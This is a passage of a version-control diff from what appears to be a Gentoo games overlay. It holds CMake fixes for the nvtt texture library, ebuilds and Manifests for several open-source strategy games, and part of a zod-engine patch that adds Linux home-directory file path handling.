${CUDA_FOUND} CACHE BOOL "Set to TRUE if CUDA is found, FALSE otherwise") ++ MESSAGE(STATUS "Looking for CUDA - found") ++ ELSE(CUDA_FOUND) ++ MESSAGE(STATUS "Looking for CUDA - not found") ++ ENDIF(CUDA_FOUND) ++ENDIF(CUDA) + + # Maya +@@ -94,11 +109,13 @@ + + # OpenEXR +-INCLUDE(${NV_CMAKE_DIR}/FindOpenEXR.cmake) +-IF(OPENEXR_FOUND) +- SET(HAVE_OPENEXR ${OPENEXR_FOUND} CACHE BOOL "Set to TRUE if OpenEXR is found, FALSE otherwise") +- MESSAGE(STATUS "Looking for OpenEXR - found") +-ELSE(OPENEXR_FOUND) +- MESSAGE(STATUS "Looking for OpenEXR - not found") +-ENDIF(OPENEXR_FOUND) ++IF(OPENEXR) ++ INCLUDE(${NV_CMAKE_DIR}/FindOpenEXR.cmake) ++ IF(OPENEXR_FOUND) ++ SET(HAVE_OPENEXR ${OPENEXR_FOUND} CACHE BOOL "Set to TRUE if OpenEXR is found, FALSE otherwise") ++ MESSAGE(STATUS "Looking for OpenEXR - found") ++ ELSE(OPENEXR_FOUND) ++ MESSAGE(STATUS "Looking for OpenEXR - not found") ++ ENDIF(OPENEXR_FOUND) ++ENDIF(OPENEXR) + + # Qt +Index: /ps/trunk/libraries/nvtt/src/src/nvmath/CMakeLists.txt +=================================================================== +--- /ps/trunk/libraries/nvtt/src/src/nvmath/CMakeLists.txt (revision 11501) ++++ /ps/trunk/libraries/nvtt/src/src/nvmath/CMakeLists.txt (revision 11502) +@@ -29,5 +29,5 @@ + + INSTALL(TARGETS nvmath +- RUNTIME DESTINATION bin +- LIBRARY DESTINATION lib +- ARCHIVE DESTINATION lib/static) ++ RUNTIME DESTINATION ${BINDIR} ++ LIBRARY DESTINATION ${LIBDIR} ++ ARCHIVE DESTINATION ${LIBDIR}) +Index: /ps/trunk/libraries/nvtt/cmake-devflags.patch +=================================================================== +--- /ps/trunk/libraries/nvtt/cmake-devflags.patch (revision 11502) ++++ /ps/trunk/libraries/nvtt/cmake-devflags.patch (revision 11502) +@@ -0,0 +1,176 @@ ++From: hasufell ++Date: Wed Apr 11 21:49:58 UTC 2012 ++Subject: various cmake fixes ++ ++fix hardcoded install paths for BINDIR and LIBDIR ++make cg, cuda, glew, glut and openexr controllable and not automagic ++ ++--- src/nvcore/CMakeLists.txt +++++ src/nvcore/CMakeLists.txt ++@@ -42,6 +42,6 @@ ++ TARGET_LINK_LIBRARIES(nvcore ${LIBS}) ++ ++ INSTALL(TARGETS nvcore ++- RUNTIME DESTINATION bin ++- LIBRARY DESTINATION lib ++- ARCHIVE DESTINATION lib/static) +++ RUNTIME DESTINATION ${BINDIR} +++ LIBRARY DESTINATION ${LIBDIR} +++ ARCHIVE DESTINATION ${LIBDIR}) ++--- src/nvimage/CMakeLists.txt +++++ src/nvimage/CMakeLists.txt ++@@ -62,7 +62,7 @@ ++ TARGET_LINK_LIBRARIES(nvimage ${LIBS} nvcore nvmath posh) ++ ++ INSTALL(TARGETS nvimage ++- RUNTIME DESTINATION bin ++- LIBRARY DESTINATION lib ++- ARCHIVE DESTINATION lib/static) +++ RUNTIME DESTINATION ${BINDIR} +++ LIBRARY DESTINATION ${LIBDIR} +++ ARCHIVE DESTINATION ${LIBDIR}) ++ ++--- src/nvmath/CMakeLists.txt +++++ src/nvmath/CMakeLists.txt ++@@ -28,6 +28,6 @@ ++ TARGET_LINK_LIBRARIES(nvmath ${LIBS} nvcore) ++ ++ INSTALL(TARGETS nvmath ++- RUNTIME DESTINATION bin ++- LIBRARY DESTINATION lib ++- ARCHIVE DESTINATION lib/static) +++ RUNTIME DESTINATION ${BINDIR} +++ LIBRARY DESTINATION ${LIBDIR} +++ ARCHIVE DESTINATION ${LIBDIR}) ++--- src/nvtt/CMakeLists.txt +++++ src/nvtt/CMakeLists.txt ++@@ -53,9 +53,9 @@ ++ TARGET_LINK_LIBRARIES(nvtt ${LIBS} nvcore nvmath nvimage squish) ++ ++ INSTALL(TARGETS nvtt ++- RUNTIME DESTINATION bin ++- LIBRARY DESTINATION lib ++- ARCHIVE DESTINATION lib/static) +++ RUNTIME DESTINATION ${BINDIR} +++ LIBRARY DESTINATION ${LIBDIR} +++ ARCHIVE DESTINATION ${LIBDIR}) ++ ++ INSTALL(FILES nvtt.h DESTINATION include/nvtt) ++ ++--- src/CMakeLists.txt +++++ src/CMakeLists.txt ++@@ -5,6 +5,13 @@ ++ SUBDIRS(nvtt) ++ ++ INCLUDE_DIRECTORIES(${CMAKE_CURRENT_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR}) +++ +++# initial variables +++SET(GLUT TRUE CACHE BOOL "") +++SET(GLEW TRUE CACHE BOOL "") +++SET(CG TRUE CACHE BOOL "") +++SET(CUDA TRUE CACHE BOOL "") +++SET(OPENEXR TRUE CACHE BOOL "") ++ ++ # OpenGL ++ INCLUDE(FindOpenGL) ++@@ -15,13 +22,15 @@ ++ ENDIF(OPENGL_FOUND) ++ ++ # GLUT ++-INCLUDE(${NV_CMAKE_DIR}/FindGLUT.cmake) ++-#INCLUDE(FindGLUT) ++-IF(GLUT_FOUND) ++- MESSAGE(STATUS "Looking for GLUT - found") ++-ELSE(GLUT_FOUND) ++- MESSAGE(STATUS "Looking for GLUT - not found") ++-ENDIF(GLUT_FOUND) +++IF(GLUT) +++ INCLUDE(${NV_CMAKE_DIR}/FindGLUT.cmake) +++ #INCLUDE(FindGLUT) +++ IF(GLUT_FOUND) +++ MESSAGE(STATUS "Looking for GLUT - found") +++ ELSE(GLUT_FOUND) +++ MESSAGE(STATUS "Looking for GLUT - not found") +++ ENDIF(GLUT_FOUND) +++ENDIF(GLUT) ++ ++ # DirectX ++ INCLUDE(${NV_CMAKE_DIR}/FindDirectX.cmake) ++@@ -32,29 +41,35 @@ ++ ENDIF(DX10_FOUND) ++ ++ # GLEW ++-INCLUDE(${NV_CMAKE_DIR}/FindGLEW.cmake) ++-IF(GLEW_FOUND) ++- MESSAGE(STATUS "Looking for GLEW - found") ++-ELSE(GLEW_FOUND) ++- MESSAGE(STATUS "Looking for GLEW - not found") ++-ENDIF(GLEW_FOUND) +++IF(GLEW) +++ INCLUDE(${NV_CMAKE_DIR}/FindGLEW.cmake) +++ IF(GLEW_FOUND) +++ MESSAGE(STATUS "Looking for GLEW - found") +++ ELSE(GLEW_FOUND) +++ MESSAGE(STATUS "Looking for GLEW - not found") +++ ENDIF(GLEW_FOUND) +++ENDIF(GLEW) ++ ++ # Cg ++-INCLUDE(${NV_CMAKE_DIR}/FindCg.cmake) ++-IF(CG_FOUND) ++- MESSAGE(STATUS "Looking for Cg - found") ++-ELSE(CG_FOUND) ++- MESSAGE(STATUS "Looking for Cg - not found") ++-ENDIF(CG_FOUND) +++IF(CG) +++ INCLUDE(${NV_CMAKE_DIR}/FindCg.cmake) +++ IF(CG_FOUND) +++ MESSAGE(STATUS "Looking for Cg - found") +++ ELSE(CG_FOUND) +++ MESSAGE(STATUS "Looking for Cg - not found") +++ ENDIF(CG_FOUND) +++ENDIF(CG) ++ ++ # CUDA ++-INCLUDE(${NV_CMAKE_DIR}/FindCUDA.cmake) ++-IF(CUDA_FOUND) ++- SET(HAVE_CUDA ${CUDA_FOUND} CACHE BOOL "Set to TRUE if CUDA is found, FALSE otherwise") ++- MESSAGE(STATUS "Looking for CUDA - found") ++-ELSE(CUDA_FOUND) ++- MESSAGE(STATUS "Looking for CUDA - not found") ++-ENDIF(CUDA_FOUND) +++IF(CUDA) +++ INCLUDE(${NV_CMAKE_DIR}/FindCUDA.cmake) +++ IF(CUDA_FOUND) +++ SET(HAVE_CUDA ${CUDA_FOUND} CACHE BOOL "Set to TRUE if CUDA is found, FALSE otherwise") +++ MESSAGE(STATUS "Looking for CUDA - found") +++ ELSE(CUDA_FOUND) +++ MESSAGE(STATUS "Looking for CUDA - not found") +++ ENDIF(CUDA_FOUND) +++ENDIF(CUDA) ++ ++ # Maya ++ INCLUDE(${NV_CMAKE_DIR}/FindMaya.cmake) ++@@ -93,13 +108,15 @@ ++ ENDIF(TIFF_FOUND) ++ ++ # OpenEXR ++-INCLUDE(${NV_CMAKE_DIR}/FindOpenEXR.cmake) ++-IF(OPENEXR_FOUND) ++- SET(HAVE_OPENEXR ${OPENEXR_FOUND} CACHE BOOL "Set to TRUE if OpenEXR is found, FALSE otherwise") ++- MESSAGE(STATUS "Looking for OpenEXR - found") ++-ELSE(OPENEXR_FOUND) ++- MESSAGE(STATUS "Looking for OpenEXR - not found") ++-ENDIF(OPENEXR_FOUND) +++IF(OPENEXR) +++ INCLUDE(${NV_CMAKE_DIR}/FindOpenEXR.cmake) +++ IF(OPENEXR_FOUND) +++ SET(HAVE_OPENEXR ${OPENEXR_FOUND} CACHE BOOL "Set to TRUE if OpenEXR is found, FALSE otherwise") +++ MESSAGE(STATUS "Looking for OpenEXR - found") +++ ELSE(OPENEXR_FOUND) +++ MESSAGE(STATUS "Looking for OpenEXR - not found") +++ ENDIF(OPENEXR_FOUND) +++ENDIF(OPENEXR) ++ ++ # Qt ++ FIND_PACKAGE(Qt4) +Index: /ps/trunk/libraries/nvtt/build.sh +=================================================================== +--- /ps/trunk/libraries/nvtt/build.sh (revision 11501) ++++ /ps/trunk/libraries/nvtt/build.sh (revision 11502) +@@ -12,5 +12,5 @@ + cd src/build/ + +-cmake .. -DNVTT_SHARED=1 -DCMAKE_BUILD_TYPE=Release -G "Unix Makefiles" ++cmake .. -DNVTT_SHARED=1 -DCMAKE_BUILD_TYPE=Release -DBINDIR=bin -DLIBDIR=lib -DGLUT=0 -DGLEW=0 -DCG=0 -DCUDA=0 -DOPENEXR=0 -G "Unix Makefiles" + + ${MAKE} nvtt ${JOBS} +Index: /ps/trunk/libraries/nvtt/README.txt +=================================================================== +--- /ps/trunk/libraries/nvtt/README.txt (revision 11501) ++++ /ps/trunk/libraries/nvtt/README.txt (revision 11502) +@@ -10,2 +10,3 @@ + cmake-freebsd.patch (fixes build on FreeBSD) + gcc47-unistd.patch (fixes build on GCC 4.7) ++ cmake-depflags.patch (from https://407191.bugs.gentoo.org/attachment.cgi?id=308589 - allows disabling various dependencies) diff --git a/games-strategy/dunelegacy/Manifest b/games-strategy/dunelegacy/Manifest new file mode 100644 index 00000000..f6b153fe --- /dev/null +++ b/games-strategy/dunelegacy/Manifest @@ -0,0 +1,2 @@ +DIST dunelegacy-0.96.2-src.tar.bz2 1437524 SHA256 bdf27bdaa001f37db52ab4747bd563b48334db5df6e6e8314de85a0340649173 +EBUILD dunelegacy-0.96.2.ebuild 1365 SHA256 22416df3f7f40141321acbc65550d4d8c4c933e1d7ae62b963376b8e9015b176 SHA512 39bdecc9782fa4649e7f0df596d6064e9a928b86ac69736884fa9414ce1b61e567081e3b2c7d6c12433049c073f8c0a4f79db7bd5948fab7d769f073470d0c8e WHIRLPOOL f8d13d9166e904be1a6c90da4b6674c2212ece201ca64248555beb7df08ce126b29b8a87c5b05057b2f1bc0acfb70296ab329ac19576e3e655a41a59e6717829 diff --git a/games-strategy/dunelegacy/dunelegacy-0.96.2.ebuild b/games-strategy/dunelegacy/dunelegacy-0.96.2.ebuild new file mode 100644 index 00000000..f0c96b09 --- /dev/null +++ b/games-strategy/dunelegacy/dunelegacy-0.96.2.ebuild @@ -0,0 +1,61 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +inherit eutils games + + +DESCRIPTION="Dune Legacy is an open source clone of Dune 2." +HOMEPAGE="http://dunelegacy.sourceforge.net" +SRC_URI="http://www.myway.de/richieland/${PN}-0.96.2-src.tar.bz2" + +LICENSE="GPL-2 or later" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="" + +RDEPEND="media-libs/libsdl + media-libs/sdl-mixer" + +DEPEND="${RDEPEND}" + +S=${WORKDIR}/${PN}-0.96.2 + +src_install() { + cd "${S}/src" + + dogamesbin ${PN} || die "dogamesbin failed" + + cd "${S}" + + insinto "${GAMES_DATADIR}"/${PN} + doins -r data/* || die "doins failed" + + doicon dunelegacy.png + make_desktop_entry ${PN} "Dune Legacy" dunelegacy.png "Game;StrategyGame;" + + prepgamesdirs +} + +pkg_postinst() { + elog "You will need to copy all Dune 2 PAK files to ${GAMES_DATADIR}/${PN} !" + elog "" + elog "At least the following files are needed:" + elog " - ATRE.PAK" + elog " - DUNE.PAK" + elog " - ENGLISH.PAK" + elog " - FINALE.PAK" + elog " - HARK.PAK" + elog " - INTRO.PAK" + elog " - INTROVOC.PAK" + elog " - MENTAT.PAK" + elog " - MERC.PAK" + elog " - ORDOS.PAK" + elog " - SCENARIO.PAK" + elog " - SOUND.PAK" + elog " - VOC.PAK" + elog "" + elog "For playing in german or french you need additionally GERMAN.PAK" + elog "or FRENCH.PAK." +} + diff --git a/games-strategy/stargus/Manifest b/games-strategy/stargus/Manifest new file mode 100644 index 00000000..ffd3c925 --- /dev/null +++ b/games-strategy/stargus/Manifest @@ -0,0 +1,2 @@ +DIST stargus_2.2.7.orig.tar.gz 297224 SHA256 7cbc9b4393e3d2a4d04e194518becb915204fea7f56e8f65aba361c8182f3c93 SHA512 73c4e74e22658cbcbe1a55e4ff38ed5e4a1a5531c815834385eee337f34a0070ce699db7a7456709525f75f6a25c53e5f723fb6fceaa59d4f3146a30edc18e05 WHIRLPOOL 009224eebe558c87513cbad14c2a9741413f16bebef2178c51e45f2c1975350177050d123f0f80f7f7fb650215fe92d2678ad3af3da11e680e20735a84953837 +EBUILD stargus-2.2.7.ebuild 1646 SHA256 829b2fa7f07cb175867b3b9b93ee90873d57cc4a505b86532eb5599e47c55d27 SHA512 186cb743b3efb6cc5fe1708c4f0fc4dabdb02563ea3f348712c44ddd672cbfbe800bad24df29a303175a093a397f797b33c4784dbe52bda62d972d3cd049830b WHIRLPOOL ea73b27e88c1995e1497fa322295440c731d5d69b8e6bbd7c7fc2d1adf56f76f36b754d3e687a0ff0dcb54cb0a596e09bb1925431cd8728cba541b1ffa1748e9 diff --git a/games-strategy/stargus/stargus-2.2.7.ebuild b/games-strategy/stargus/stargus-2.2.7.ebuild new file mode 100644 index 00000000..68f4c540 --- /dev/null +++ b/games-strategy/stargus/stargus-2.2.7.ebuild @@ -0,0 +1,70 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/games-engines/stratagus/stratagus-2.2.6-r1.ebuild,v 1.2 2012/06/02 19:53:52 hasufell Exp $ + +EAPI=4 + +inherit cmake-utils eutils games + +DESCRIPTION="A realtime strategy game engine" +HOMEPAGE="http://stratagus.sourceforge.net/" +SRC_URI="https://launchpad.net/stargus/trunk/${PV}/+download/${PN}_${PV}.orig.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="bzip2 debug doc mikmod mng theora vorbis" + +RDEPEND="dev-db/sqlite:3 + >=dev-lang/lua-5 + dev-lua/toluapp + media-libs/libpng:0 + virtual/opengl + x11-libs/libX11 + media-libs/libsdl[audio,opengl,video] + bzip2? ( app-arch/bzip2 ) + mikmod? ( media-libs/libmikmod ) + mng? ( media-libs/libmng ) + vorbis? ( media-libs/libvorbis + theora? ( media-libs/libtheora ) + )" +DEPEND="${RDEPEND} + doc? ( app-doc/doxygen ) + virtual/pkgconfig" + +REQUIRED_USE="theora? ( vorbis )" + +S=${WORKDIR}/${PN}_${PV}.orig + +#src_prepare() { + #epatch "${FILESDIR}"/${P}-build.patch \ + #"${FILESDIR}"/${P}-debug.patch +#} + +src_configure() { + # there are in-source switches + use debug && CMAKE_BUILD_TYPE=Debug + + local mycmakeargs=( + -DBINDIR="${GAMES_BINDIR}" + -DSBINDIR="${GAMES_BINDIR}" + $(cmake-utils_use_with bzip2 BZIP2) + $(cmake-utils_use_enable doc DOC) + $(cmake-utils_use_with mikmod MIKMOD) + $(cmake-utils_use_with mng MNG) + $(cmake-utils_use_with vorbis OGGVORBIS) + $(cmake-utils_use_with theora THEORA) + -DENABLE_DEV=ON + ) + + cmake-utils_src_configure +} + +src_compile() { + cmake-utils_src_compile +} + +src_install() { + cmake-utils_src_install + prepgamesdirs +} diff --git a/games-strategy/unknown-horizons/Manifest b/games-strategy/unknown-horizons/Manifest new file mode 100644 index 00000000..259d226a --- /dev/null +++ b/games-strategy/unknown-horizons/Manifest @@ -0,0 +1,4 @@ +DIST unknown-horizons-2011.2.tar.xz 71843004 SHA256 f64bc787c6094f420a4d7a5f3181fd24d395034a8b2ccbea6799e7cb1ab06092 +DIST unknown-horizons-2012.1.tar.xz 96318876 SHA256 109fd61026491c7c259cc552dd2c1ac90214bde42eab7cbc736009396abb870a +EBUILD unknown-horizons-2011.2.ebuild 744 SHA256 2ce71ea238d11c95cd626ba7c2a98d346282b38d294da49d9695344ae742f5df SHA512 e794dd406c34d6318e70b8128fc5e2b40eb63fc2885fa8bc187acf9968543dba25e0ad8f14a78ad4dc1853922c621c5335b502b985a87ab3e062b8c487c66e3a WHIRLPOOL 8fa07f61eb9e114635ccbe682ae7564deee2c0dbe2548f00d23dd04edc427d4006c3800b222b794104139e32947f7f261b5fccd326f4b66c592b08543f03ea50 +EBUILD unknown-horizons-2012.1.ebuild 717 SHA256 606022db3fcdd20555c6ab4226c74c75452a05279b7795ff91bf9bfae79e1274 SHA512 7a8c69d52d61f49e8899c4ceea20d9c1406484ba38da737e7b1417b175c02d135166e95fd4ef9c0c3e7a3080d0ff3a006686e85584b8ddff55fd1e50eaa5efbe WHIRLPOOL ff074d465d58823291bdfcc987a091d465b7ba6432713d314bb5f5a61f073ea9013442a4046ff1083ae9f933ca9ddc1cd6beb71c4bc471493d6d8a60fe5f616d diff --git a/games-strategy/unknown-horizons/unknown-horizons-2011.2.ebuild b/games-strategy/unknown-horizons/unknown-horizons-2011.2.ebuild new file mode 100644 index 00000000..3bb60a37 --- /dev/null +++ b/games-strategy/unknown-horizons/unknown-horizons-2011.2.ebuild @@ -0,0 +1,38 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="3" + +PYTHON_DEPEND="2:2.7" +PYTHON_USE_WITH="sqlite" + +inherit distutils games +DESCRIPTION="Anno-like real time strategy game" +HOMEPAGE="http://www.unknown-horizons.org/" + +SRC_URI="mirror://sourceforge/unknownhorizons/${P}.tar.xz" + +LICENSE="GPL-2" +KEYWORDS="~amd64 ~x86" +SLOT="0" +IUSE="" + +DEPEND="dev-python/pyyaml + =games-engines/fife-0.3.2.2 + dev-python/python-distutils-extra" + +RDEPEND="$DEPEND" + +S="${WORKDIR}"/${PN} + +src_compile() { + distutils_src_compile build_i18n +} + +src_install() { + # FIXME: exe and data-files goes into wrong place, games.gentoo.org policy + # violation + distutils_src_install + prepgamesdirs +} diff --git a/games-strategy/unknown-horizons/unknown-horizons-2012.1.ebuild b/games-strategy/unknown-horizons/unknown-horizons-2012.1.ebuild new file mode 100644 index 00000000..5d3102b3 --- /dev/null +++ b/games-strategy/unknown-horizons/unknown-horizons-2012.1.ebuild @@ -0,0 +1,37 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="3" + +PYTHON_DEPEND="2:2.7" +PYTHON_USE_WITH="sqlite berkdb" + +inherit distutils games +DESCRIPTION="Anno-like real time strategy game" +HOMEPAGE="http://www.unknown-horizons.org/" + +SRC_URI="mirror://sourceforge/unknownhorizons/${P}.tar.xz" + +LICENSE="GPL-2" +KEYWORDS="~amd64 ~x86" +SLOT="0" +IUSE="" + +DEPEND="dev-python/pyyaml + =games-engines/fife-0.3.3-r3" + +RDEPEND="$DEPEND" + +S="${WORKDIR}"/${PN} + +src_compile() { + distutils_src_compile build_i18n +} + +src_install() { + # FIXME: exe and data-files goes into wrong place, games.gentoo.org policy + # violation + distutils_src_install + prepgamesdirs +} diff --git a/games-strategy/zod-engine/Manifest b/games-strategy/zod-engine/Manifest new file mode 100644 index 00000000..397f0d33 --- /dev/null +++ b/games-strategy/zod-engine/Manifest @@ -0,0 +1,3 @@ +AUX zod-engine-20110906-proper-linux-support.patch 41849 SHA256 98a7cef026ffd24132512095c314ea57ae1668b74b228c97262dea035ae15195 SHA512 8c5a28b7abdf59f15d60f08deac4fb8c63a72fd0eac92467d2fa35293272ab5bc3a29c08f9ffc84fcd99363660941028de9133ce0d0e64281efc97828075db8a WHIRLPOOL 557f9cc6b1cc476712feeb9bd61aab6520723a60504e9a986bfeb925c5557a4e640a1f6a6224b050b9c136f75ebb4e3b99483a8691a26425f9d4eaf10c0f8fbc +DIST zod_linux-2011-09-06.tar.gz 40237117 SHA256 02d8cfbc0da8901a36ea14cdffb72fb7780ea718073d4b6c9e0409cdacca356c +EBUILD zod-engine-20110906.ebuild 1948 SHA256 4f31aba6e68bb95aa1d5119ed2eea02eda3983c9d15721c946fee2a9c945f490 SHA512 84acd41f2c84817f20a526af61ad5107892608ef033f3063f4038dd22e1ace5ec72f0f7f7ce66ae73feedcb12384908d940ed7cf323649a92c0c2174c896efc2 WHIRLPOOL 03cb6e5467cfb5c1a235be63525c185f41df9ed7f097dad7308fe0c209f156a904aec39862b5364937b2ff588ce455a361448f7983bf33d3dee87e0bbb18188f diff --git a/games-strategy/zod-engine/files/zod-engine-20110906-proper-linux-support.patch b/games-strategy/zod-engine/files/zod-engine-20110906-proper-linux-support.patch new file mode 100644 index 00000000..d81e6049 --- /dev/null +++ b/games-strategy/zod-engine/files/zod-engine-20110906-proper-linux-support.patch @@ -0,0 +1,1419 @@ +diff -burN zod_engine/zod_launcher_src/common.cpp zod_engine.new/zod_launcher_src/common.cpp +--- zod_engine/zod_launcher_src/common.cpp 2011-03-22 12:05:11.000000000 +0100 ++++ zod_engine.new/zod_launcher_src/common.cpp 2012-05-05 22:50:56.000000000 +0200 +@@ -9,24 +9,216 @@ + #include + #include + #include ++ ++#define OSPATH_SEP '\\' ++ + #else + #include + #include + #include ++ ++#define OSPATH_SEP '/' ++ + #endif + + namespace COMMON + { + +-void create_folder(char *foldername) ++//base data path for the engine ++static char base_path[FILENAME_MAX]; ++//home (user specific) data path for the engine ++static char home_path[FILENAME_MAX]; ++ ++static bool path_concat(const char *base, const char *file, char *dest) ++{ ++ size_t i; ++ size_t len; ++ char c; ++ bool was_sep; ++ ++ // base path is an OS specific path ++ len = 0; ++ for (i = 0; len < (FILENAME_MAX - 1) && base[i] != '\0'; i++) ++ dest[len++] = base[i]; ++ ++ // this also catches base[i] != '\0' ++ if (len == (FILENAME_MAX - 1)) ++ return false; ++ ++ ++ // ensure base is terminated by OSPATH_SEP ++ if (len == 0 || dest[len - 1] != OSPATH_SEP) ++ dest[len++] = OSPATH_SEP; ++ ++ was_sep = true; ++ ++ // file name could have both '/' or '\\' for path separation ++ for (i = 0; len < (FILENAME_MAX - 1) && file[i] != '\0'; i++) { ++ char c = file[i]; ++ if (c == '/' || c == '\\') { ++ // ignore double separators ++ if (was_sep) ++ continue; ++ ++ c = OSPATH_SEP; ++ was_sep = true; ++ } else { ++ was_sep = false; ++ } ++ ++ dest[len++] = c; ++ } ++ ++ if (file[i] != '\0') ++ return false; ++ ++ dest[len] = '\0'; ++ return true; ++} ++ ++static bool file_exists(const char*filename) ++{ ++#ifdef _WIN32 ++ DWORD attrs = GetFileAttributes(filename); ++ return (attrs != INVALID_FILE_ATTRIBUTES); ++ ++#else ++ ++ return (access(filename, R_OK) == 0); ++ ++#endif ++ ++} ++ ++void init_file_paths(const char *bin_path) + { +-#ifdef WIN32 //if windows ++ base_path[0] = '\0'; ++ ++#ifdef DATA_PATH ++ //compilation defined base path, ignore if too long ++ if (strlen(DATA_PATH) < FILENAME_MAX) ++ strcpy(base_path, DATA_PATH); ++#endif ++ ++ if (base_path[0] == '\0' && bin_path && bin_path[0] != '\0') { ++ //default to binary path dirname ++ char dirname[FILENAME_MAX]; ++ size_t len; ++ ++ len = strlen(bin_path); ++ if (len < FILENAME_MAX) { ++ strcpy(base_path, bin_path); ++ //find the last separator ++ do len--; while (len > 0 && base_path[len] != OSPATH_SEP); ++ ++ base_path[len] = '\0'; ++ } ++ } ++ ++ // if no explicit directory is specified ++ // default to current working directory ++ if (base_path[0] == '\0') ++ strcpy(base_path, "."); ++ ++ // get home path ++ home_path[0] = '\0'; ++ ++#ifdef _WIN32 ++ // on Windows home path is equivalent to base path ++ strcpy(home_path, base_path); ++ ++#else ++ // on Unix platforms use a specific directory in home ++ const char *home = getenv("HOME"); ++ if (home && home[0] != '\0') { ++ if (path_concat(home, ".zod-engine", home_path)) ++ create_folder(home_path); ++ else ++ home_path[0] = '\0'; ++ } ++ ++#endif ++ ++} ++ ++void create_folder(const char *foldername) ++{ ++#ifdef _WIN32 //if windows + mkdir(foldername); + #else + mkdir(foldername,-1); + #endif + } + ++FILE *open_file_read(const char *filename, bool binary) ++{ ++ char path[FILENAME_MAX]; ++ const char *mode; ++ FILE *fp; ++ ++ fp = NULL; ++ mode = (binary)? "rb" : "r"; ++ if (home_path[0] != '\0') { ++ // if home directory is available, pick the file from there, ++ // as there is where we can find user specific overrides ++ // of our files ++ if (path_concat(home_path, filename, path)) ++ fp = fopen(path, mode); ++ } ++ ++ if (!fp) { ++ // retrieve the file from the data directory ++ if (path_concat(base_path, filename, path)) ++ fp = fopen(path, mode); ++ } ++ ++ return fp; ++} ++ ++FILE *open_file_write(const char *filename, bool binary, bool append) ++{ ++ FILE *fp = NULL; ++ if (home_path[0] != '\0') { ++ //files can only be created in home path ++ char path[FILENAME_MAX]; ++ ++ if (path_concat(home_path, filename, path)) { ++ // determine open mode ++ char mode[3]; ++ ++ mode[0] = (append)? 'a' : 'w'; ++ mode[1] = (binary)? 'b' : '\0'; ++ mode[2] = '\0'; ++ fp = fopen(path, mode); ++ } ++ } ++ ++ return fp; ++} ++ ++bool get_os_path(const char *filename, bool read_only, char *dest) ++{ ++ ++ if (read_only) ++ { ++ if (home_path[0]) ++ { ++ if (path_concat(home_path, filename, dest) && file_exists(dest)) ++ return true; ++ } ++ ++ return path_concat(base_path, filename, dest) && file_exists(dest); ++ ++ } ++ else ++ { ++ if (home_path[0] != '\0') ++ return path_concat(home_path, filename, dest); ++ else ++ return false; ++ } ++} ++ + double current_time() + { + #ifdef WIN32 +diff -burN zod_engine/zod_launcher_src/common.h zod_engine.new/zod_launcher_src/common.h +--- zod_engine/zod_launcher_src/common.h 2011-03-22 12:05:11.000000000 +0100 ++++ zod_engine.new/zod_launcher_src/common.h 2012-05-05 22:51:24.000000000 +0200 +@@ -3,11 +3,16 @@ + + namespace COMMON + { ++ ++ extern void init_file_paths(const char *bin_path); ++ extern bool get_os_path(const char *filename, bool read_only, char *dest); ++ extern void create_folder(const char *foldername); ++ extern FILE *open_file_read(const char *filename, bool binary); ++ extern FILE *open_file_write(const char *filename, bool binary, bool append); + extern void split(char *dest, char *message, char split, int *initial, int d_size, int m_size); + extern void clean_newline(char *message, int size); + extern void lcase(char *message, int m_size); + extern double current_time(); +- extern void create_folder(char *foldername); + extern void uni_pause(int m_sec); + extern char *wtoc_s(const wchar_t *input); + extern char *wtoc(const wchar_t *input, char *dest, int size); +diff -burN zod_engine/zod_launcher_src/makefile zod_engine.new/zod_launcher_src/makefile +--- zod_engine/zod_launcher_src/makefile 2011-03-22 12:13:12.000000000 +0100 ++++ zod_engine.new/zod_launcher_src/makefile 2012-05-06 04:09:08.000000000 +0200 +@@ -1,2 +1,11 @@ ++CC=g++ ++CFLAGS=-g `wx-config --cppflags` ++LDFLAGS=`wx-config --libs` ++EXENAME=zod_launcher ++ ++ifdef DATA_PATH ++ CFLAGS += -DDATA_PATH=\"$(DATA_PATH)\" ++endif ++ + default: +- g++ -g -o zod_launcher *.cpp `wx-config --cppflags` `wx-config --libs` ++ $(CC) $(CFLAGS) -o $(EXENAME) *.cpp $(LDFLAGS) +diff -burN zod_engine/zod_launcher_src/store_settings.cpp zod_engine.new/zod_launcher_src/store_settings.cpp +--- zod_engine/zod_launcher_src/store_settings.cpp 2011-03-22 12:05:11.000000000 +0100 ++++ zod_engine.new/zod_launcher_src/store_settings.cpp 2012-05-06 16:14:49.000000000 +0200 +@@ -11,7 +11,7 @@ + { + FILE *fp; + +- fp = fopen("zod_launcher_settings.txt", "w"); ++ fp = open_file_write("zod_launcher_settings.txt", false, false); + + if(!fp) return; + +@@ -45,7 +45,7 @@ + { + FILE *fp; + +- fp = fopen("zod_launcher_settings.txt", "r"); ++ fp = open_file_read("zod_launcher_settings.txt", false); + + if(!fp) return; + +I file binari zod_engine/zod_launcher_src/zod_launcher e zod_engine.new/zod_launcher_src/zod_launcher sono diversi +diff -burN zod_engine/zod_launcher_src/zod_launcherApp.cpp zod_engine.new/zod_launcher_src/zod_launcherApp.cpp +--- zod_engine/zod_launcher_src/zod_launcherApp.cpp 2011-03-22 12:05:11.000000000 +0100 ++++ zod_engine.new/zod_launcher_src/zod_launcherApp.cpp 2012-05-05 22:32:45.000000000 +0200 +@@ -9,11 +9,17 @@ + + #include "zod_launcherApp.h" + #include "zod_launcherFrm.h" ++#include "common.h" + + IMPLEMENT_APP(zod_launcherFrmApp) + + bool zod_launcherFrmApp::OnInit() + { ++ // initialize file system ++ wxString bin_path(argv[0]); ++ COMMON::init_file_paths(bin_path.mb_str(wxConvUTF8)); ++ ++ // create form + zod_launcherFrm* frame = new zod_launcherFrm(NULL); + SetTopWindow(frame); + frame->Show(); +diff -burN zod_engine/zod_launcher_src/zod_launcherFrm.cpp zod_engine.new/zod_launcher_src/zod_launcherFrm.cpp +--- zod_engine/zod_launcher_src/zod_launcherFrm.cpp 2011-03-22 12:35:01.000000000 +0100 ++++ 